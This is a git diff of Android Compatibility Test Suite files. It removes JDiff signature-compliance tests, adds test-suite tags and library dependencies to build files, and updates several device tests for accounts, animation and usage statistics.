- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "boolean packageProtectedMethod()");
- }
-
- public void testPrivateMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "privateMethod", Modifier.PRIVATE, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "private void privateMethod()");
- }
-
- public void testProtectedMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "protectedMethod", Modifier.PROTECTED, "java.lang.String");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "protected java.lang.String protectedMethod()");
- }
-
- public void testThrowsMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "throwsMethod", Modifier.PUBLIC, "void");
- method.addException("android.signature.cts.tests.data.NormalException");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "public void throwsMethod() " +
- "throws android.signature.cts.tests.data.NormalException");
- }
-
- public void testNativeMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "nativeMethod", Modifier.PUBLIC | Modifier.NATIVE, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "public native void nativeMethod()");
- }
-
- public void testFinalField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "FINAL_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.FINAL, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "public final java.lang.String FINAL_FIELD");
- }
-
- public void testStaticField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "STATIC_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.STATIC, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "public static java.lang.String STATIC_FIELD");
- }
-
- public void testVolatileFiled() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "VOLATILE_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.VOLATILE, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "public volatile java.lang.String VOLATILE_FIELD");
- }
-
- public void testTransientField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "TRANSIENT_FIELD", "java.lang.String",
- Modifier.PUBLIC | Modifier.TRANSIENT, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(),
- "public transient java.lang.String TRANSIENT_FIELD");
- }
-
- public void testPackageField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "PACAKGE_FIELD", "java.lang.String", 0, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "java.lang.String PACAKGE_FIELD");
- }
-
- public void testPrivateField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "PRIVATE_FIELD", "java.lang.String", Modifier.PRIVATE, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "private java.lang.String PRIVATE_FIELD");
- }
-
- public void testProtectedField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "PROTECTED_FIELD", "java.lang.String", Modifier.PROTECTED, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "protected java.lang.String PROTECTED_FIELD");
- }
-
- public void testFieldValue() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "VALUE_FIELD", "java.lang.String",
- Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"\\u2708\"");
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(),
- "public static final java.lang.String VALUE_FIELD");
- }
-
- public void testFieldValueChanged() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD);
- JDiffClassDescription clz = createNormalClass(observer);
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "VALUE_FIELD", "java.lang.String",
- Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"✈\"");
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(),
- "public static final java.lang.String VALUE_FIELD");
- observer.validate();
- }
-
- public void testInnerClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass.InnerClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC);
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "innerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public class NormalClass.InnerClass");
- }
-
- public void testInnerInnerClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass.InnerClass.InnerInnerClass",
- new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC);
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "innerInnerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(),
- "public class NormalClass.InnerClass.InnerInnerClass");
- }
-
- public void testInnerInterface() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass.InnerInterface", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
- clz.setModifier(Modifier.PUBLIC | Modifier.STATIC | Modifier.ABSTRACT);
- clz.addMethod(
- new JDiffClassDescription.JDiffMethod("doSomething",
- Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public interface NormalClass.InnerInterface");
- }
-
- public void testInterface() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalInterface", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
- clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
- clz.addMethod(
- new JDiffClassDescription.JDiffMethod("doSomething",
- Modifier.ABSTRACT| Modifier.PUBLIC, "void"));
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public interface NormalInterface");
- }
-
- public void testFinalClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "FinalClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public final class FinalClass");
- }
-
- /**
- * Test the case where the API declares the method not synchronized, but it
- * actually is.
- */
- public void testAddingSync() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
- JDiffClassDescription clz = createNormalClass(observer);
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "syncMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- observer.validate();
- }
-
- /**
- * Test the case where the API declares the method is synchronized, but it
- * actually is not.
- */
- public void testRemovingSync() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "notSyncMethod", Modifier.SYNCHRONIZED | Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- /**
- * API says method is not native, but it actually is. http://b/1839558
- */
- public void testAddingNative() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "nativeMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- /**
- * API says method is native, but actually isn't. http://b/1839558
- */
- public void testRemovingNative() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "notNativeMethod", Modifier.NATIVE | Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- public void testAbstractClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "AbstractClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public abstract class AbstractClass");
- }
-
- /**
- * API lists class as abstract, reflection does not. http://b/1839622
- */
- public void testRemovingAbstractFromAClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
- clz.checkSignatureCompliance();
- }
-
- /**
- * reflection lists class as abstract, api does not. http://b/1839622
- */
- public void testAddingAbstractToAClass() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS);
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "AbstractClass", observer);
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC);
- clz.checkSignatureCompliance();
- observer.validate();
- }
-
- public void testFinalMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "finalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "public final void finalMethod()");
- }
-
- /**
- * Final Class, API lists methods as non-final, reflection has it as final.
- * http://b/1839589
- */
- public void testAddingFinalToAMethodInAFinalClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "FinalClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "finalMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- /**
- * Final Class, API lists methods as final, reflection has it as non-final.
- * http://b/1839589
- */
- public void testRemovingFinalToAMethodInAFinalClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "FinalClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "nonFinalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- /**
- * non-final Class, API lists methods as non-final, reflection has it as
- * final. http://b/1839589
- */
- public void testAddingFinalToAMethodInANonFinalClass() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass", observer);
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC);
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "finalMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- observer.validate();
- }
-}
diff --git a/tests/simplecpu/Android.mk b/tests/simplecpu/Android.mk
index cb13016..618a9bc 100644
--- a/tests/simplecpu/Android.mk
+++ b/tests/simplecpu/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsSimpleCpuTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 16
diff --git a/tests/simplecpu/jni/Android.mk b/tests/simplecpu/jni/Android.mk
index 877f1b6..c5f072e 100644
--- a/tests/simplecpu/jni/Android.mk
+++ b/tests/simplecpu/jni/Android.mk
@@ -26,4 +26,6 @@
LOCAL_SDK_VERSION := 14
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
index 3f6ad38..f5ac4fa 100644
--- a/tests/tests/accounts/Android.mk
+++ b/tests/tests/accounts/Android.mk
@@ -22,7 +22,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- CtsAccountTestsCommon ctstestrunner
+ CtsAccountTestsCommon ctstestrunner legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -35,7 +37,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
index 2a4f8d3..924b378 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
@@ -38,7 +38,7 @@
LOCAL_PACKAGE_NAME := CtsUnaffiliatedAccountAuthenticators
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
index 795fcd6..c940c3f 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
@@ -2297,9 +2297,32 @@
try {
StrictMode.setThreadPolicy(
new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyDeath().build());
+ // getAccounts()
Account[] accounts = am.getAccounts();
assertNotNull(accounts);
assertTrue(accounts.length > 0);
+
+ // getAccountsAndVisibilityForPackage(...)
+ Map<Account, Integer> accountsAndVisibility =
+ am.getAccountsAndVisibilityForPackage(PACKAGE_NAME_PRIVILEGED, ACCOUNT_TYPE);
+ assertNotNull(accountsAndVisibility);
+ assertTrue(accountsAndVisibility.size() > 0);
+
+ // getAccountsByType(...)
+ Account[] accountsByType = am.getAccountsByType(ACCOUNT_TYPE);
+ assertNotNull(accountsByType);
+ assertTrue(accountsByType.length > 0);
+
+ // getAccountsByTypeForPackage(...)
+ Account[] accountsByTypeForPackage =
+ am.getAccountsByTypeForPackage(ACCOUNT_TYPE, PACKAGE_NAME_PRIVILEGED);
+ assertNotNull(accountsByTypeForPackage);
+ assertTrue(accountsByTypeForPackage.length > 0);
+
+ // getAccountsByTypeAndFeatures(...)
+ am.getAccountsByTypeAndFeatures(ACCOUNT_TYPE, null /* features */, null, null);
+ am.getAccountsByTypeAndFeatures(ACCOUNT_TYPE, REQUIRED_FEATURES, null, null);
+
} finally {
StrictMode.setThreadPolicy(oldPolicy);
}
diff --git a/tests/tests/alarmclock/Android.mk b/tests/tests/alarmclock/Android.mk
index 6c74c5c..adfd51f 100644
--- a/tests/tests/alarmclock/Android.mk
+++ b/tests/tests/alarmclock/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/alarmclock/AndroidTest.xml b/tests/tests/alarmclock/AndroidTest.xml
index b4dea87..023032a 100644
--- a/tests/tests/alarmclock/AndroidTest.xml
+++ b/tests/tests/alarmclock/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Configuration for AlarmClock Tests">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAlarmClockService.apk" />
diff --git a/tests/tests/alarmclock/common/Android.mk b/tests/tests/alarmclock/common/Android.mk
index ec0022b..039ca5c 100644
--- a/tests/tests/alarmclock/common/Android.mk
+++ b/tests/tests/alarmclock/common/Android.mk
@@ -28,6 +28,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/alarmclock/service/Android.mk b/tests/tests/alarmclock/service/Android.mk
index 14fdd5d..3873ddb 100644
--- a/tests/tests/alarmclock/service/Android.mk
+++ b/tests/tests/alarmclock/service/Android.mk
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
index 2aeac88..c625cbe 100644
--- a/tests/tests/animation/Android.mk
+++ b/tests/tests/animation/Android.mk
@@ -30,13 +30,14 @@
android-common \
compatibility-device-util \
ctstestrunner \
- platform-test-annotations
+ platform-test-annotations \
+ legacy-android-test
LOCAL_JAVA_LIBRARIES := android.test.runner
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/animation/AndroidTest.xml b/tests/tests/animation/AndroidTest.xml
index 91ee76d..9453183 100644
--- a/tests/tests/animation/AndroidTest.xml
+++ b/tests/tests/animation/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Animation test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
index 82b54cd..8a5e974 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
@@ -24,6 +24,7 @@
import static org.mockito.Mockito.any;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.timeout;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
@@ -38,6 +39,7 @@
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
import android.view.animation.AccelerateDecelerateInterpolator;
import android.view.animation.AccelerateInterpolator;
import android.view.animation.LinearInterpolator;
@@ -860,6 +862,47 @@
}
/**
+ * Test that when a child animator is being manipulated outside of an AnimatorSet, by the time
+ * AnimatorSet starts, it will not be affected, and all the child animators would start at their
+ * scheduled start time.
+ */
+ @Test
+ public void testManipulateChildOutsideOfSet() throws Throwable {
+ final ValueAnimator fadeIn = ObjectAnimator.ofFloat(mActivity.view, View.ALPHA, 0f, 1f);
+ fadeIn.setDuration(200);
+ final ValueAnimator fadeOut = ObjectAnimator.ofFloat(mActivity.view, View.ALPHA, 1f, 0f);
+ fadeOut.setDuration(200);
+
+ ValueAnimator.AnimatorUpdateListener listener = mock(
+ ValueAnimator.AnimatorUpdateListener.class);
+ fadeIn.addUpdateListener(listener);
+
+ AnimatorSet show = new AnimatorSet();
+ show.play(fadeIn);
+
+ AnimatorSet hideNShow = new AnimatorSet();
+ hideNShow.play(fadeIn).after(fadeOut);
+
+ mActivityRule.runOnUiThread(() ->
+ show.start()
+ );
+
+ verify(listener, timeout(100).atLeast(2)).onAnimationUpdate(fadeIn);
+
+ AnimatorListenerAdapter adapter = mock(AnimatorListenerAdapter.class);
+ hideNShow.addListener(adapter);
+ // Start hideNShow after fadeIn is started for 100ms
+ mActivityRule.runOnUiThread(() ->
+ hideNShow.start()
+ );
+
+ verify(adapter, timeout(800)).onAnimationEnd(hideNShow, false);
+ // Now that the hideNShow finished we need to check whether the fadeIn animation ran again.
+ assertEquals(1f, mActivity.view.getAlpha(), 0);
+
+ }
+
+ /**
*
* This test verifies that custom ValueAnimators will be start()'ed in a set.
*/
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index f8bab5b..dbef83c 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -24,17 +24,16 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_JAVA_LIBRARIES := android.test.runner
-
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
android-support-test \
+ ctstestrunner \
junit \
- legacy-android-test
+ legacy-android-test \
+ ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
index fcb1d5a..b475cea 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
@@ -281,7 +281,8 @@
exerciseRemoteHost(network, mUrl);
mEndTime = System.currentTimeMillis() + mTolerance;
success = true;
- metered = mCm.getNetworkInfo(network).isMetered();
+ metered = !mCm.getNetworkCapabilities(network)
+ .hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_METERED);
synchronized(NetworkUsageStatsTest.this) {
NetworkUsageStatsTest.this.notify();
}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index d900292..ddc59b3 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -18,27 +18,28 @@
import android.app.Activity;
import android.app.AppOpsManager;
-import android.app.Instrumentation;
import android.app.usage.UsageEvents;
import android.app.usage.UsageStats;
import android.app.usage.UsageStatsManager;
import android.content.Context;
import android.content.Intent;
import android.os.Parcel;
-import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
import android.test.InstrumentationTestCase;
+import android.util.SparseLongArray;
-import java.io.FileInputStream;
-import java.io.IOException;
+import junit.framework.AssertionFailedError;
+
+import org.junit.Ignore;
+
import java.text.MessageFormat;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
-
-import android.util.SparseLongArray;
-import junit.framework.AssertionFailedError;
-import org.junit.Ignore;
+import java.util.concurrent.TimeUnit;
/**
* Test the UsageStats API. It is difficult to test the entire surface area
@@ -58,19 +59,22 @@
private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} " +
AppOpsManager.OPSTR_GET_USAGE_STATS + " {1}";
- private static final long MINUTE = 1000 * 60;
- private static final long DAY = MINUTE * 60 * 24;
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+ private static final long MINUTE = TimeUnit.MINUTES.toMillis(1);
+ private static final long DAY = TimeUnit.DAYS.toMillis(1);
private static final long WEEK = 7 * DAY;
private static final long MONTH = 30 * DAY;
private static final long YEAR = 365 * DAY;
private static final long TIME_DIFF_THRESHOLD = 200;
+ private UiDevice mUiDevice;
private UsageStatsManager mUsageStatsManager;
private String mTargetPackage;
- private ArrayList<Activity> mStartedActivities = new ArrayList<>();
@Override
protected void setUp() throws Exception {
+ super.setUp();
+ mUiDevice = UiDevice.getInstance(getInstrumentation());
mUsageStatsManager = (UsageStatsManager) getInstrumentation().getContext()
.getSystemService(Context.USAGE_STATS_SERVICE);
mTargetPackage = getInstrumentation().getContext().getPackageName();
@@ -78,13 +82,6 @@
setAppOpsMode("allow");
}
- @Override
- protected void tearDown() throws Exception {
- for (Activity activity : mStartedActivities) {
- activity.finish();
- }
- }
-
private static void assertLessThan(long left, long right) {
if (left >= right) {
throw new AssertionFailedError("Expected " + left + " to be less than " + right);
@@ -101,28 +98,16 @@
private void setAppOpsMode(String mode) throws Exception {
final String command = MessageFormat.format(APPOPS_SET_SHELL_COMMAND,
getInstrumentation().getContext().getPackageName(), mode);
- ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
- .executeShellCommand(command);
- try (FileInputStream fis = new FileInputStream(pfd.getFileDescriptor())){
- final byte[] buffer = new byte[4096];
- while (fis.read(buffer) != -1) { }
- } finally {
- try {
- pfd.close();
- } catch (IOException e) {
- // Ignore.
- }
- }
+ mUiDevice.executeShellCommand(command);
}
private void launchSubActivity(Class<? extends Activity> clazz) {
- final Instrumentation.ActivityResult result =
- new Instrumentation.ActivityResult(0, new Intent());
- final Instrumentation.ActivityMonitor monitor =
- new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
- getInstrumentation().addMonitor(monitor);
- launchActivity(mTargetPackage, clazz, null);
- mStartedActivities.add(monitor.waitForActivity());
+ final Context context = getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(mTargetPackage, clazz.getName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ mUiDevice.wait(Until.hasObject(By.clazz(clazz)), TIMEOUT);
}
private void launchSubActivities(Class<? extends Activity>[] activityClasses) {
@@ -323,7 +308,9 @@
startTime, endTime);
assertFalse(stats.isEmpty());
- setAppOpsMode("default");
+ // We set the mode to ignore because our package has the PACKAGE_USAGE_STATS permission,
+ // and default would allow in this case.
+ setAppOpsMode("ignore");
stats = mUsageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_BEST,
startTime, endTime);
diff --git a/tests/tests/app/Android.mk b/tests/tests/app/Android.mk
index d710ce8..bd679a4 100644
--- a/tests/tests/app/Android.mk
+++ b/tests/tests/app/Android.mk
@@ -35,6 +35,6 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app/AndroidTest.xml b/tests/tests/app/AndroidTest.xml
index 02eb825..c9ee968 100644
--- a/tests/tests/app/AndroidTest.xml
+++ b/tests/tests/app/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Configuration for app Tests">
<option name="config-descriptor:metadata" key="component" value="misc" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAndroidAppTestCases.apk" />
diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index ca17ca6..2d74ed0 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk
@@ -33,7 +33,7 @@
compatibility-device-util
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/appwidget/packages/launchermanifest/Android.mk b/tests/tests/appwidget/packages/launchermanifest/Android.mk
index 9746d2b..f949836 100644
--- a/tests/tests/appwidget/packages/launchermanifest/Android.mk
+++ b/tests/tests/appwidget/packages/launchermanifest/Android.mk
@@ -31,7 +31,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher1
@@ -54,7 +54,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
